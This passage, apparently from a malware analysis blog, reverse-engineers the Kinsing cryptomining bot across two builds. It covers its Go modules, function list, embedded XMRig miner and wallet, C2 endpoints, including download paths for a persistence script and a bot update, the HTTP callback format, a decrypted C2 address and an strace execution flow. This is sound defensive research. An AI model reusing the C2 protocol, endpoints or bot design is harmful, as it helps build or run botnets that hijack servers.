with different log levels per backend and logger.
11. has ."gopclntab":00000000013EDDB8 00000058 C /go/pkg/mod/github.com/kardianos/osext
Find the current Executable and ExecutableFolder.
As of go1.8 the Executable function may be found in os. The Executable function in the std lib os package
is used if available.
There is sometimes utility in finding the current executable file that is running. This can be used for
upgrading the current executable or finding resources located relative to the executable file. Both
working directory and the os.Args[0] value are arbitrary and cannot be relied on; os.Args[0] can be "faked".
Multi-platform and supports:
Linux
OS X
Windows
Plan 9
BSDs.
12. has go "btree" libs, .rodata:00000000007C2173 00000018 C github.com/google/btree
BTree implementation for Go
Travis CI Build Status
This package provides an in-memory B-Tree implementation for Go, useful as an ordered, mutable data
structure.
13. "gouuid" .rodata:00000000007C4993 0000001B C github.com/nu7hatch/gouuid
Uuid creator in Go
[EDU] What to learn here
  • Identify libraries first and exclude them. In a 16 MB Go binary, maybe 1–2% is the author's own code.
  • The library choice tells you the design: yamux plus go-socks5 means tunneling and proxying, resty means a REST-style C2, and pkger means embedded payloads.

《 17. Static analysis of build a71ad3 — the bot that spr.sh installs 》

The spr.sh updater only accepts a kinsing binary with MD5 a71ad3167f9402d8c5388910862b16ae. That exact build was checked here statically (it was never executed). The focus is the bot: how it is built, what it carries, and which code paths it has. The miner and the scripts it carries are secondary companions and are covered only as far as they tell us about the bot and its operator.

Method note: the views below are shown in radare2 style with the equivalent r2 command on each prompt line. They were produced statically with readelf, strings and small Python parsers of .gopclntab and the pkger store, because radare2 was not available in the workspace used for this re-check. The results are reproducible with the r2 commands shown.

■ 1. Identity of the build

a71ad3 - identity (r2: !rahash2 -a md5,sha1,sha256 / iI)
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • This file is 16,687,104 bytes (0xfea000). That matches the size range noted for this hash. Recording the exact size next to the hash avoids confusion between near-identical builds.
  • The SHA-256 above is the identifier to use in VirusTotal, MISP and EDR searches; MD5 is kept because the malware itself uses MD5 for its self-check.

■ 2. Build fingerprint: Go module list (the bot's toolchain DNA)

Go binaries carry their module list. It is a precise fingerprint of the developer's build environment and a strong clustering pivot between builds.

# r2: ps @ <go.buildinfo/modinfo>   (modinfo block of the bot)
path	command-line-arguments
mod	my/bot	(devel)
dep	github.com/armon/go-socks5	v0.0.0-20160902184237-e75332964ef5	h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio=
dep	github.com/asaskevich/govalidator	v0.0.0-20190424111038-f61b66f89f4a	h1:idn718Q4B6AGu/h5Sxe66HYVdqdGu2l9Iebqhi/AEoA=
dep	github.com/go-resty/resty/v2	v2.1.0	h1:Z6IefCpUMfnvItVJaJXWv/pMiiD11So35QgwEELsldE=
dep	github.com/google/btree	v1.0.0	h1:0udJVsspx3VBr5FwtLhQQtuAsVc79tTq0ocGIPAU6qo=
dep	github.com/hashicorp/yamux	v0.0.0-20190923154419-df201c70410d	h1:W+SIwDdl3+jXWeidYySAgzytE3piq6GumXeBjFBG67c=
dep	github.com/kardianos/osext	v0.0.0-20190222173326-2bc1f35cddc0	h1:iQTw/8FWTuc7uiaSepXwyf3o52HaUYcV+Tu66S3F5GA=
dep	github.com/kelseyhightower/envconfig	v1.4.0	h1:Im6hONhd3pLkfDFsbRgu68RDNkGF1r3dvMUtDTo2cv8=
dep	github.com/markbates/pkger	v0.12.8	h1:4mEUzWb1HzRnxPwUevBX8g8ntsQ4rWw2R8CRB2QdZVI=
dep	github.com/nu7hatch/gouuid	v0.0.0-20131221200532-179d4d0c4d8d	h1:VhgPp6v9qf9Agr/56bj7Y/xa04UccTW04VP0Qed4vnQ=
dep	github.com/op/go-logging	v0.0.0-20160315200505-970db520ece7	h1:lDH9UUVJtmYCjyT0CI4q8xvlXPxeZ0gYCVvWbmPlp88=
dep	github.com/paulbellamy/ratecounter	v0.2.0	h1:2L/RhJq+HA8gBQImDXtLPrDXK5qAj6ozWVK/zFXVJGs=
dep	github.com/peterbourgon/diskv	v2.0.1+incompatible	h1:UBdAOUP5p4RWqPBg048CAvpKN+vxiaj6gdUUzhl4XmI=
dep	github.com/shirou/gopsutil	v2.19.10+incompatible	h1:lA4Pi29JEVIQIgATSeftHSY0rMGI9CLrl2ZvDLiahto=
dep	golang.org/x/net	v0.0.0-20190628185345-da137c7871d7	h1:rTIdg5QFRR7XCaK4LCjBiPbx8j4DQRpdYMnGn/bJUEU=
dep	golang.org/x/sys	v0.0.0-20191128015809-6d18c012aee9	h1:ZBzSG/7F4eNKz2L3GE9o300RX0Az1Bw5HF7PDraD+qU=
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • The newest dependency date (golang.org/x/sys v0.0.0-20191128...) gives a lower bound for the build date: after 2019-11-28. The embedded files date it more precisely (see 4).
  • The same module set (go-socks5, yamux, resty, pkger, diskv, gopsutil...) appears in the v28 and v31 notes: one code base, several builds.

■ 3. The bot's code: main.* functions recovered from .gopclntab

75 functions of the bot were recovered. Compared with the v28 list in the function list chapter, the addresses shift only by a few bytes (e.g. main.doTask 0x790b70 → 0x790b80), so this is a close sibling build. New in this build: the package my/bot/single, a file-lock singleton that makes sure only one bot instance runs (the lock file). It is not yet the v31 code: main.goKrongo and main.setActiveC2CUrl are absent.

a71ad3 - main.* and my/bot/* functions (r2: afl~main.)
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Function names survive in .gopclntab even in a stripped Go binary. Parsing it gives you the bot's design in minutes: tasking, crypto, spreading, remote access.
  • Diff the function lists of two builds: added packages (here my/bot/single) show what the developer worked on between releases.

■ 4. What the bot carries: the pkger store decoded

The bot embeds its payloads with pkger as a hex-encoded gzip blob (8,268,234 hex chars at file offset 0x4d2911). Decoding it statically shows the developer's build metadata and the two embedded files:

a71ad3 - pkger store decoded (bot build metadata)
[ITW] Artifact spotted in the wild attack

What this tells us about the bot developer:

  • The source tree has 19 Go files (command.go, exec.go, fetcher_task.go, network.go, sclient.go, task_scan.go, task_update.go...), so the bot is a structured project, not a script.
  • The build root is /app with target /go/bin/bot: a container-based build (the official Go Docker image layout). The v28 build still showed the developer's home path /home/nook/go/src/my/bot; here that personal path is already gone (January 2020), earlier than the v31 notes suggested.
  • The embedded files were modified on 2020-01-28 (07:50 and 07:55 UTC): the build date of this bot is on or shortly after that day.
  • The embedded files keep the developer's uid/gid 1000 and device 2066, the same device number seen in the v31 config ("Dev":2066): the same build machine produced both builds.
[EDU] What to learn here
  • Embedding frameworks (pkger, packr, go:embed) keep file metadata. Owner IDs, device numbers and timestamps can link builds to the same build host.
  • Decode embedded stores statically and write payloads as non-executable files only for hashing. Never run them.

■ 5. The bot's own strings: tasking, scanning, update and remote-access logic

Log and format strings left in .rodata show the bot's internal work flow. These are the bot's own messages, not library noise:

a71ad3 - bot log / format strings (r2: izz~Task,masscan,Update,command)
[ITW] Artifact spotted in the wild attack
Bot capabilityEvidence (strings / functions)Meaning
Multi-threaded scan tasksTask %d, processed %d/%d, left %d, thread %d, pps %d; Try to get targets for %d, offset %dC2 pushes target lists in pages; the bot reports progress and packets per second
Mass-scan wrappermasscan run %s, masscan targets empty, masscan chmod output %scontrols the embedded scanner script (masscan chapter)
Self-updateUpdateCommand: downloaded to %s / download error for %s; main.updateTaskreplaces itself with a new build pushed by C2
Command versioningUnsupported command: %v, Unsupported command version: %vthe C2 protocol is versioned: the operator can roll out new commands safely
Remote accessbackconnect data is empty; main.backconnect, main.socks, yamuxreverse tunnel and SOCKS5 proxy over the C2
Payload deliverydownload_and_exec, file copied to %sgeneric downloader for any next stage
Encrypted taskingdecryption failed; main.RC4, main.encStruct, crypto/rsatasks are decrypted inside the bot
C2 API paths/getT (and the paths in the C2 URL chapter)an extra task endpoint not seen in the v28 traffic
Single instancemy/bot/single.(*Single).Lock/CheckLock/TryUnlockthe lock file prevents two bots on one host
[EDU] What to learn here
  • Log strings are a gift: they describe the bot's state machine in the developer's own words. Collect them before you read any assembly.
  • Capabilities that serve the operator (tunnels, tasking, updates) make the bot the real threat. The miner can be swapped any day; the bot stays.

■ 6. Companions carried by the bot (miner, scanner script)

The two embedded files are XMRig 5.5.0 builds (built Jan 28 2020). They are companions, but their configuration links this bot to the operator's wallet:

# miner configuration inside both embedded files (spotted in the wild)
pool   : stratum+tcp://xmr-eu1.nanopool.org
coin   : monero
pass   : mine
donate-level : 0
wallet : 46V5WXwS3gXfsgR7fgXeGP4KAXtQTXJfkicBoRSHXwGbhVzj1JXZRJRhbMrvhxvXvgbJuyV3GGWzD6JvVMuQwAXxLZmTWkb
[ITW] Artifact spotted in the wild attack

This wallet is the one public researchers used to tie the Docker, Redis and SaltStack waves of this family together (Zscaler / Red Canary). The v28 miner in this post used a different wallet (42J8...), so the operator ran more than one wallet in parallel.

The bot also keeps its companion-handling commands and the scanner wrapper script in plain text inside the binary. They are shown as an image only:

a71ad3 - companion-handling command strings in the bot
[!] Command strings shown as an image on purpose.
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • The bot first kills an older miner by name, then installs its own: competition handling lives in the bot, not in the miner.
  • Miner wallets are clustering gold: one wallet across many builds and waves means one operator.

■ 7. The RSA key label and the Hamlet text

The RSA private key used for the C2 crypto (identical in v28 and v31, see below) is stored in this build under the label "RSA TESTING KEY"; the memory dumps show it as a normal private key, so the label is swapped at runtime. The "TESTING KEY" label is the convention used in Go's own test sources; whether the key itself was copied from a public source is not verified in this post.

a71ad3 - RSA key label in .rodata (r2: / RSA TESTING)
[!] Key material shown as an image on purpose.
[ITW] Artifact spotted in the wild attack

The full text of Shakespeare's Hamlet is embedded in .rodata (409 occurrences of HAMLET). Lacework first noted this padding in the family (via Red Canary); the v31 memory dump in this post shows the same text mixed into the bot's heap (see the v31 chapter).

[EDU] What to learn here
  • Large decoy texts inflate strings output and slow down quick triage. Filter them out (e.g. izz~!HAMLET) and focus on the bot's own strings.

《 18. Kinsing v31 "Dev 2066" (July 2020): the updated bot 》

Kinsing kept evolving after the first analysis. This chapter documents the bot version 31 ("Dev":2066, built 2020-07-09) analysed on 2020-07-31 .. 2020-08-01 in an isolated lab. Lab-specific values (IP, user and host names, the test bot UUID) are camouflaged. The sample name used in the lab is shown as {samplename:i.e. bigip}.

■ 1. Malware definition and binary layout

//// Malware definition

Binary: GoLang 1.13 static compiled ELF,
Malware : Kinsing bot miner

[0x0087d245]> !md5sum {samplename:i.e. bigip}
fa3cf35e7e83175f395a5b6d35fd456d  {samplename:i.e. bigip}
[0x0087d245]> !file {samplename:i.e. bigip}
{samplename:i.e. bigip}: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
[0x0087d245]>

{samplename:i.e. bigip}
architecture: i386:x86-64, flags 0x00000102:
EXEC_P, D_PAGED
start address 0x000000000045b8b0

Program Header:
    PHDR off    0x0000000000000040 vaddr 0x0000000000400040 paddr 0x0000000000400040 align 2**12
         filesz 0x0000000000000188 memsz 0x0000000000000188 flags r--
    NOTE off    0x0000000000000f9c vaddr 0x0000000000400f9c paddr 0x0000000000400f9c align 2**2
         filesz 0x0000000000000064 memsz 0x0000000000000064 flags r--
    LOAD off    0x0000000000000000 vaddr 0x0000000000400000 paddr 0x0000000000400000 align 2**12
         filesz 0x00000000003a4b40 memsz 0x00000000003a4b40 flags r-x
    LOAD off    0x00000000003a5000 vaddr 0x00000000007a5000 paddr 0x00000000007a5000 align 2**12
         filesz 0x0000000000bf3dd2 memsz 0x0000000000bf3dd2 flags r--
    LOAD off    0x0000000000f99000 vaddr 0x0000000001399000 paddr 0x0000000001399000 align 2**12
         filesz 0x0000000000052de0 memsz 0x0000000000075188 flags rw-
   STACK off    0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**3
         filesz 0x0000000000000000 memsz 0x0000000000000000 flags rw-
0x65041580 off    0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**3
         filesz 0x0000000000000000 memsz 0x0000000000000000 flags --- 2a00
[ITW] Artifact spotted in the wild attack

■ 2. Version and what is new in v31

/////// kinsing version and dev info

Version: 31
"Dev":2066 "2020-07-09T13:09:00.416438247Z"
[ITW] Artifact spotted in the wild attack
  • Long sleep (3minutes ++)
  • No executable embedded update script, only embedded massscan script and embeded ELF miner
  • Checking virtual (device/interface & clock) and debugging environment (if detected, C2 not respoding)
  • C2 response will trigger downloads, no C2 response = no activities
  • Initial C2 call path is changed (s => ms, g => mg)
  • New Additional Decryption for C2 IP data and C2 commands
  • Using only one C2 address, after response from C2, update will send binary with other C2 IP
  • Miner is using different algo and login information
  • miner filename and path is /tmp/{samplename:i.e. bigip}daemon (hardcoded)
  • The author name (Nook) was deleted from config
[EDU] What to learn here
  • Compare versions by behaviour, not only by hash: longer sleeps, environment checks and "no C2 reply = no activity" are anti-sandbox changes that make a quick dynamic run look clean.

■ 3. Design of the v31 bot

kinsing v31 - design (from the analysis notes)
Design diagram from the analysis notes, rendered as an image because it includes the command line used to run dropped scripts.
[ITW] Artifact spotted in the wild attack

■ 4. Hardcoded commands vs. functions

/////// bot binary hard coded commands vs functions

BOT COMMANDS            BOT FUNCTIONS() ,
-----------------------+-------------------------
CMD_scan               | main_runTaskWithScan
CMD_update             | main_updateTask
CMD_exec               | main_startCmd
CMD_execoutput         | main_execTaskOut
CMD_massscan           | main_masscan
CMD_socks              | main_socks
CMD_backconnect        | main_backconnect
CMD_request            | main_runTaskWithHttp
CMD_tcp                | main_runTask
CMD_download_and_exec  | main_downloadAndExecute
CMD_redis_brute        | main_redisBrute
CMD_krongo             | main_goKrongo <==== NEW COMMAND
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • A new command (krongo → main.goKrongo) appeared between builds. Its purpose is not confirmed in these notes; mark such items as unknown rather than guessing.

■ 5. New decryption of the C2 address

/////// new decryptions:

main_healthChecker  <==== Has decryption for IP ADDRESS
encoding_hex_Decode <====Decrypter
";<=>?@ABCFLMNOPSZ[\"\\\n\r\t"; <==== and..Rotator
0x113B7E0           <==== C2 IP ADDRESS DATA VADDR

Data:

d8d5b3ead919ae88e09a72563572714a74a25df5f74e7008b67a2e721828521f91c4de
0356bb6e013b732d9d8484e26b8332b5794cdf39262b1b57865b74216cbf776e73c9ce
f4d609ead86bf2db7a53b3f247ca04d970ed3b9e06f2b8c0719a0df7ecf71279822420
81808eb3acdd747bb938d1ee041cfdcf7543daaba60d190b39ccd9be9ac62db13956cd
db0999cf0fdcc7d84636

//// decrypted and decoded ip (debugger)

:> ps @0xc0001f0940!77 ;
hxxp :// 213[.]32.10[.]148:80
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • The C2 address is no longer a plain string: it is hex-encoded data decrypted by main.healthChecker with a rotator. Static string search finds nothing; the address only appears in memory at runtime, which is why memory forensics wins here.

■ 6. User-Agent, UUID, work directory, lock file and the embedded miner

//////// user agent:

:> ps @ 0xc000072000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36


/////// UUID (from workspace)

# hexdump -C /tmp/.ICEd-unix/uuid
00000000  35 39 64 33 61 30 36 30  2d 31 37 63 37 2d 34 65  |xxxxxxxx-xxxx-xx|
00000010  36 64 2d 36 35 38 35 2d  36 61 38 30 30 36 34 31  |6d-6585-6a800641|
00000020  30 63 36 63                                       |0c6c|
00000024


///////// Bot working directory

# myls -alF /tmp;echo;file /tmp/*; md5sum /tmp/*
-rwxr-xr-x  3930496 Jul 31 15:53 {samplename:i.e. bigip}daemon*  <===== XMRIG miner dropped by kinsing
drwxr-xr-x     4096 Jul 31 15:53 .ICEd-unix/  <====== working directory area for exec and drops

// debug info dropping:
write(7, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\2\0>\0\1\0\0\0\200&@\0\0\0\0\0@\0\0\0\0\0\0 (etc)

// temporary file path:

/tmp/.ICEd-unix/[0-9]{9}
// example:
/tmp/.ICEd-unix/922209688



///////// RUN LOCK FILE (created by Go module)

/run/lock/linux.lock


///////// Embedded Miner

/tmp/{samplename:i.e. bigip}daemon: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked,
for GNU/Linux 2.6.32, BuildID[sha1]=0x0d6004d477c57b7294731bd

e7dcf743bd2afa0a3a6165d8cd15c0de
drop path: /tmp/.ICEd-unix/[0-9]{9} (i.e. /tmp/.ICEd-unix/922209688)

///////// UUID

# myls -alF /tmp/.ICEd-unix/
-rw-r--r-- 36 Jul 31 15:49 uuid

# hexdump -C /tmp/.ICEd-unix/uuid
00000000  35 39 64 33 61 30 36 30  2d 31 37 63 37 2d 34 65  |xxxxxxxx-xxxx-xx|
00000010  36 64 2d 36 35 38 35 2d  36 61 38 30 30 36 34 31  |6d-6585-6a800641|
00000020  30 63 36 63                                       |0c6c|
00000024
[ITW] Artifact spotted in the wild attack

■ 7. C2 callbacks and HTTP requests

//////// HTTP CALLBACK COMMANDS

hxxp :// {C2-IP}/ms        => POST miner data
hxxp :// {C2-IP}/mg        => Initial callback
hxxp :// {C2-IP}/get      => receiving encrypted command
hxxp :// {C2-IP}/hers     => UNKNOWN
hxxp :// {C2-IP}2/o       => post encrypted DATA
hxxp :// {C2-IP}/cron.sh  => persitence installer
hxxp :// {C2-IP}/kinsing  => update bot binary url


//////// C2 HTTP REQUESTS

// header formats/templates:

Host: {C2 IP ADDRESS}
User-Agent: {bot hard coded fake user agent}
Arch: {Architecture name from uname}
Cores: {CPU number from /proc/cpu}
Mem: {memory data from memfree}
Os: {OS name from uname}
Osname: {Distro name from uname}
Osversion: {Info taken from /etc/xxxrelease}
Root: {true|false}
Uuid: {bot generated UUID}
Version: {bot version}
Accept-Encoding: gzip

// Example:

// bot miner information callback

.rodata:000000000087D245 aMg   db '/mg'   ; DATA XREF: ____main_getMinerPid
.rodata:000000000087D248 aMs   db '/ms'   ; DATA XREF: ____main_sendMinerPid

GET /mg HTTP/1.1
Host: 213[.]32.10[.]148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 1
Mem: 496
Os: linux
Osname: linux
Osversion: xxxx
Root: false
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Version: 31
Accept-Encoding: gzip

------------------

POST /ms HTTP/1.1
Host: 213[.]32.10[.]148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-Length: 12
Arch: amd64
Content-Type: application/octet-stream
Cores: 1
Mem: 496
Os: linux
Osname: linux
Osversion: xxxx
Root: false
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Version: 31
Accept-Encoding: gzip

Wzq]...t....


// Bot Request update command


GET /get HTTP/1.1
Host: 213[.]32.10[.]148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 1
Mem: 496
Os: linux
Osname: linux
Osversion: xxxx
Root: false
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Version: 31
Accept-Encoding: gzip
[ITW] Artifact spotted in the wild attack
kinsing v31 C2 traffic: GET /get, GET /mg, POST /ms (lab values masked)
Packet capture of the v31 callbacks. Lab addresses, MAC addresses and the test bot UUID are masked in the screenshot.
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • v31 splits the protocol: /mg is the first call-in, /ms reports the miner PID (12 encrypted bytes), /get polls for tasks. A 404 on /get simply means "no task now".
  • The header set (Arch/Cores/Mem/Os/Osname/Osversion/Root/Uuid/Version) and the fixed User-Agent did not change from v28 to v31: that is why header-based network signatures last across versions.

■ 8. Execution flow recorded with strace (2020-07-31, lab)

kinsing v31 - execution flow (strace -f excerpt, lab values camouflaged)
[!] Recorded system calls shown as an image because they contain the bot's command lines.
[ITW] Artifact spotted in the wild attack

Reading the flow step by step:

  1. The bot creates /var/lock/linux.lock (single instance), the work directories /tmp/.ICEd-unix and /var/tmp/.ICEd-unix, and writes uuid.
  2. It profiles the host: it starts lsb_release and later kills that child process.
  3. First call-in GET /mg; the reply is a short encrypted blob.
  4. It kills any previous copy of its miner by name, writes the embedded miner to /tmp/<sample>daemon, sets the exec bit and starts it in the background.
  5. The miner's output (its PID, 4 bytes) is redirected into a 9-digit temp file under /tmp/.ICEd-unix/; the bot reads it, deletes it, and reports it with POST /ms.
  6. The miner reads /proc/cpuinfo, /proc/mounts and the DMI product and vendor names (typical hardware detection of XMRig's hwloc), tries to enable huge pages, and connects to its pool on tcp/80.
  7. When the miner disappears (here it was killed by the analyst), the next /mg cycle re-drops and restarts it. GET /get answered with 404: no task at that time.
[EDU] What to learn here
  • The 9-digit temp file is a neat trick: it captures the miner's PID through stdout so the bot can watch and report its companion. For forensics it means a deleted file that still shows in lsof as (deleted).
  • The bot is the supervisor: kill the miner and the bot brings it back within minutes. Always contain the bot first.

■ 9. Bot configuration in memory

///////// Kinsing bot config

// App my/bot Go environment at stacks

Pid........"Pid":...."Pid":....2887../tmp/{samplename:i.e. bigip}daemon
infos......"infos":.."infos":.............files..."files":..."files":........
here......."here":..."here":....../dev/null............./bin/sh
tmp......../tmp/.ICEd-unix..../tmp/.ICEd-unix..1977396759.........
info......."info":..."info"
her........"her":...."her":....
path......."path":..."path":...
data......."data":..."data":.....
parent....."parent":."parent":../usr/bin/sh...../usr/bin/sh
details...."details":.."details":....
name......."name":...."name":..............
size......."size":..."size":..
mode......."mode":..."mode":...........
mod_time..."mod_time":."mod_time":....
is_dir....."is_dir":."is_dir"
sys........"sys":...."sys":...
Pkg........"Pkg":...."Pkg":..................
Name......."Name":..."Name":..
Dir........"Dir":...."Dir":....
ImportPath."ImportPath":..'"ImportPath":......
Module....."Module":."Module":......
Path......."Path":..."Path":........
Main......."Main":..."Main":......
Dir........"Dir":...."Dir":....
GoMod......"GoMod":.."GoMod".....
GoVersion.."GoVersion":..."GoVersion":...
app.........my/bot..main....my/bot..
/app......./app/go.mod.1.13..my/bot3930496509.Dev.2066


// app my/bot config initiation

0xc0000c0000  {"infos":{"my/bot":{"Dir":"/app","ImportPath":"my/bot","Name":"main","Doc":"","Target":"/go/bin/bot","Root":"/app","Match":["."],"Stale"
0xc0000c0088  :true,"StaleReason":"stale dependency: golang.org/x/net/context","GoFiles":["command.go","counter.go","exec.go","fetcher_task.go","main.
0xc0000c0110  go","network.go","pkged.go","result.go","sclient.go","storage.go","sys_posix.go","task.go","task_exec.go","task_exec_out.go","task_reque
0xc0000c0198  st.go","task_scan.go","task_update.go","tasks.go","utils.go"],"Imports":["bytes","compress/gzip","container/list","crypto/md5","crypto/r
0xc0000c0220  c4","crypto/tls","encoding/hex","encoding/json","errors","fmt","github.com/armon/go-socks5","github.com/asaskevich/govalidator","github.
0xc0000c02a8  com/go-resty/resty/v2","github.com/hashicorp/yamux","github.com/kardianos/osext","github.com/kelseyhightower/envconfig","github.com/mark
0xc0000c0330  bates/pkger","github.com/markbates/pkger/pkging/mem","github.com/nu7hatch/gouuid","github.com/op/go-logging","github.com/paulbellamy/rat
0xc0000c03b8  ecounter","github.com/peterbourgon/diskv","github.com/shirou/gopsutil/host","github.com/shirou/gopsutil/mem","github.com/shirou/gopsutil
0xc0000c0440  /process","golang.org/x/sys/unix","io","io/ioutil","math/rand","my/bot/single","net","net/http","os","os/exec","runtime","strconv","stri
0xc0000c04c8  ngs","sync","sync/atomic","syscall","time"],"Deps":["bufio","bytes","compress/flate","compress/gzip","compress/zlib","container/list","c
0xc0000c0550  ontext","crypto","crypto/aes","crypto/cipher","crypto/des","crypto/dsa","crypto/ecdsa","crypto/ed25519","crypto/ed25519/internal/edwards
0xc0000c05d8  25519","crypto/elliptic","crypto/hmac","................................................................................................
[ITW] Artifact spotted in the wild attack
v31 - pkger config in memory with the base64 of the embedded miner (malicious code shown as image for safety)
[!] Malicious code shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack

■ 10. RSA private key in memory — identical to v28

v31 - RSA private key in bot memory (malicious code shown as image for safety)
[!] Malicious code shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
Finding: the RSA key in v31 is byte-for-byte identical to the key recovered from v28 (captured traffic chapter). The operator never rotated the C2 key between versions, so one recovered key decrypts the tasking of several versions, and the key itself is a solid clustering pivot.

■ 11. The mass-scan script carried by v31

v31 - embedded mass-scan wrapper script (malicious code shown as image for safety)
[!] Malicious code shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack

■ 12. Important functions (.gopclntab) and host profiling

///////// important functions

paddr      vaddr         section        fnc.names
-------------------------------------------------------
0x00f87e28 0x01387e28   .gopclntab      main.doTask
0x00f87e34 0x01387e34   .gopclntab      main.execTask
0x00f88008 0x01388008   .gopclntab      main.runcmd
0x00f88220 0x01388220   .gopclntab      main.startCmd
0x00f88430 0x01388430   .gopclntab      main.startCmdWithOutputSingle
0x00f88848 0x01388848   .gopclntab      main.init.0
0x00f88998 0x01388998   .gopclntab      main.main
0x00f88a03 0x01388a03   .gopclntab      main.randIntRange
0x00f89238 0x01389238   .gopclntab      main.healthChecker
0x00f8924b 0x0138924b   .gopclntab      main.setActiveC2CUrl
0x00f893d0 0x013893d0   .gopclntab      main.minerRunningCheck
0x00f89548 0x01389548   .gopclntab      main.isMinerRunning
0x00f89778 0x01389778   .gopclntab      main.minRun
0x00f8a0e0 0x0138a0e0   .gopclntab      main.copyFileContents
0x00f8a208 0x0138a208   .gopclntab      main.getWriteableDir
0x00f8a21d 0x0138a21d   .gopclntab      main.writable
0x00f8a368 0x0138a368   .gopclntab      main.getTask
0x00f8a5a8 0x0138a5a8   .gopclntab      main.getTargets
0x00f8ac00 0x0138ac00   .gopclntab      main.sendResult
0x00f8af18 0x0138af18   .gopclntab      main.sendMinerPid
0x00f8b138 0x0138b138   .gopclntab      main.getMinerPid
0x00f8b368 0x0138b368   .gopclntab      main.checkHealth
0x00f8b4f0 0x0138b4f0   .gopclntab      main.setLog
0x00f8b718 0x0138b718   .gopclntab      main.setExecOutput
0x00f8b940 0x0138b940   .gopclntab      main.encStruct
0x00f8b9f8 0x0138b9f8   .gopclntab      main.getActiveC2CUrl
0x00f8bae0 0x0138bae0   .gopclntab      main.DownloadFile
0x00f8be50 0x0138be50   .gopclntab      main.makeClient
0x00f8bf60 0x0138bf60   .gopclntab      main.RC4
0x00f8c078 0x0138c078   .gopclntab      main.doRequestWithTooManyOpenFiles
0x00f8c438 0x0138c438   .gopclntab      main.resultSender
0x00f8c740 0x0138c740   .gopclntab      main.addResult
0x00f8c7f8 0x0138c7f8   .gopclntab      main.getOrCreateListForTaskResult
0x00f8c938 0x0138c938   .gopclntab      main.connectForSocks
0x00f8cb08 0x0138cb08   .gopclntab      main.getOrCreateUuid
0x00f8cb1d 0x0138cb1d   .gopclntab      main.setUuid
0x00f8cc58 0x0138cc58   .gopclntab      main.move
0x00f8cc62 0x0138cc62   .gopclntab      main.syncCmd
0x00f8cd60 0x0138cd60   .gopclntab      main.runTask
0x00f8cfc0 0x0138cfc0   .gopclntab      main.taskWorker
0x00f8cfd0 0x0138cfd0   .gopclntab      main.getOrCreateRateCounterForTask
0x00f8d178 0x0138d178   .gopclntab      main.execTaskOut
0x00f8d210 0x0138d210   .gopclntab      main.runTaskWithHttp
0x00f8d478 0x0138d478   .gopclntab      main.taskWithHttpWorker
0x00f8d600 0x0138d600   .gopclntab      main.runTaskWithScan
0x00f8d7c0 0x0138d7c0   .gopclntab      main.taskWithScanWorker
0x00f8d948 0x0138d948   .gopclntab      main.updateTask
0x00f8dec0 0x0138dec0   .gopclntab      main.taskScan
0x00f8e028 0x0138e028   .gopclntab      main.masscan
0x00f8e498 0x0138e498   .gopclntab      main.socks
0x00f8e518 0x0138e518   .gopclntab      main.goKrongo
0x00f8e648 0x0138e648   .gopclntab      main.backconnect
0x00f8e6c8 0x0138e6c8   .gopclntab      main.request
0x00f8ef58 0x0138ef58   .gopclntab      main.tcpTask
0x00f8f558 0x0138f558   .gopclntab      main.downloadAndExecute
0x00f8f5e0 0x0138f5e0   .gopclntab      main.redisBrute
0x00f8f850 0x0138f850   .gopclntab      main.RandStringRunes
0x00f8f928 0x0138f928   .gopclntab      main.Hosts
0x00f8fa20 0x0138fa20   .gopclntab      main.inc
0x00f8fa88 0x0138fa88   .gopclntab      main.contains
0x00f8fb18 0x0138fb18   .gopclntab      main.hash_file_md5
0x00f8fc90 0x0138fc90   .gopclntab      main.main.func1
0x00f8fd08 0x0138fd08   .gopclntab      main.copyFileContents.func1
0x00f8fdf0 0x0138fdf0   .gopclntab      main.connectForSocks.func1
0x00f8ff08 0x0138ff08   .gopclntab      main.runTask.func1
0x00f90110 0x01390110   .gopclntab      main.execTaskOut.func1
0x00f901b8 0x013901b8   .gopclntab      main.runTaskWithHttp.func1
0x00f902a8 0x013902a8   .gopclntab      main.runTaskWithScan.func1.1
0x00f90390 0x01390390   .gopclntab      main.runTaskWithScan.func1
0x00f906c0 0x013906c0   .gopclntab      main.updateTask.func1
0x00f90760 0x01390760   .gopclntab      main.socks.func1
0x00f90930 0x01390930   .gopclntab      main.backconnect.func1
0x00f90ac0 0x01390ac0   .gopclntab      main.downloadAndExecute.func1.1
0x00f90b50 0x01390b50   .gopclntab      main.downloadAndExecute.func1
0x00f90cf0 0x01390cf0   .gopclntab      main.init
[ITW] Artifact spotted in the wild attack
// detect python tools & read package/arch/info etc during initiation..

readlink("/usr/bin/python", "python2.7"..., 4096)
/usr/bin/python2.7
/usr/bin/Modules/Setup"
/usr/bin/lib/python2.7/os.py"
